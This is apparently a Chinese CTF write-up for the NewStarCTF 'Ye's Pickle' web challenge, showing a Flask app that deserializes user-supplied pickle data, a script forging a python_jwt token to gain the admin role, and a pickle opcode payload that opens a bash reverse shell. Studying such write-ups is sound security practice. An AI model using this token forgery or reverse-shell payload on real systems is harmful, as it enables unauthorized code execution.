NewStarCTF WEEK5|WEB Ye's Pickle

下载附件

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *

app = Flask(__name__)  # 创建 Flask 应用实例

def generate_random_string(length=16):
    """
    生成一个指定长度的随机字符串,由字母和数字组成。

    :param length: 字符串的长度,默认为16
    :return: 随机生成的字符串
    """
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

# 设置 Flask 的 SECRET_KEY,随机生成一个16位的字符串
app.config['SECRET_KEY'] = generate_random_string(16)

# 生成一个 RSA 密钥,用于 JWT 签名和验证
key = jwk.JWK.generate(kty='RSA', size=2048)

@app.route("/")
def index():
    """
    处理主页请求。根据请求中的 token 验证用户角色,并渲染相应的模板。
    如果没有提供 token,则生成一个默认的 JWT 并返回给客户端。
    """
    payload = request.args.get("token")  # 从查询参数中获取 token
    if payload:
        try:
            # 验证 JWT,获取用户角色
            token = verify_jwt(payload, key, ['PS256'])
            session["role"] = token[1]['role']  # 将用户角色存储在 session 中
        except Exception as e:
            # 如果 JWT 验证失败,默认为 guest 角色
            session["role"] = "guest"
    else:
        # 如果没有 token,设置默认角色为 guest,并生成一个新的 JWT
        session["role"] = "guest"
        user = {"username": "boogipop", "role": "guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))  # 生成 JWT
        return render_template('index.html', token=jwt)  # 返回渲染的模板及生成的 token

    return render_template('index.html')  # 返回渲染的模板

@app.route("/pickle")
def unser():
    """
    处理 pickle 请求。如果用户角色为 admin,则解码和反序列化 pickle 数据。
    否则,直接渲染模板。
    """
    if session.get("role") == "admin":  # 检查用户角色是否为 admin
        try:
            pickle_data = request.args.get("pickle")  # 从查询参数中获取 pickle 数据
            if pickle_data:
                pickle.loads(base64.b64decode(pickle_data))  # 解码和反序列化 pickle 数据
        except Exception as e:
            # 捕获 pickle 解码和反序列化过程中的异常(如有)
            return render_template("index.html", error=f"Pickle error: {e}")
    
    return render_template("index.html")  # 返回渲染的模板

if __name__ == "__main__":
    # 启动 Flask 应用,监听所有网络接口的 5000 端口
    app.run(host="0.0.0.0", port=5000, debug=True)

通过对代码简单的分析思路很明显
现在/路由下进行token伪造
image
image

脚本

import base64
from datetime import timedelta
from json import loads, dumps
import jwcrypto.common
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'


originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjI1OTE1NjYsImlhdCI6MTcyMjU4Nzk2NiwianRpIjoiUHZQUk1fWXRmaDJrT0FDZl9zQzd4USIsIm5iZiI6MTcyMjU4Nzk2Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.paFjWMAcxz5l_RfYKFQVU-kZhuJSJli9ckQ8Q_k8ouMAGaW1YE-OAyl9XFP0-iQosVaFKFUzojMtJRxAHxdnK3L8yjjZrpr9XLsLV87UNMC_Nl-NPCYMzXpPvT5d6bCqViKELVIWecTVjMo0vO2q4GNs83K6lNE6-dq0jrvYELg-KB6sqVoH5QfRRG_lbzVxtTOIVnE6Z9z9C36NU44G6fHjeYqBYhJ3Z7Hudhib4y6aXzpL9vLtI8swQNBkUZUf8F8CR5b-QAxl86FfI6cnXkO11tENBhPMnw_vtn5XOcUy3hRwrHDG6I6a5R-r6BWzPSNSHGvcFxjPA8eOWQVvBQ'
topic = topic(originaltoken)
print(topic)

然后就

image

空格用%20替代

接下来就是开始利用pickle.loads(base64.b64decode(pickle_data))来执行命令
直接弹shell

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

image

image

posted @ 2024-08-02 17:16  DGhh  阅读(18)  评论(0编辑  收藏  举报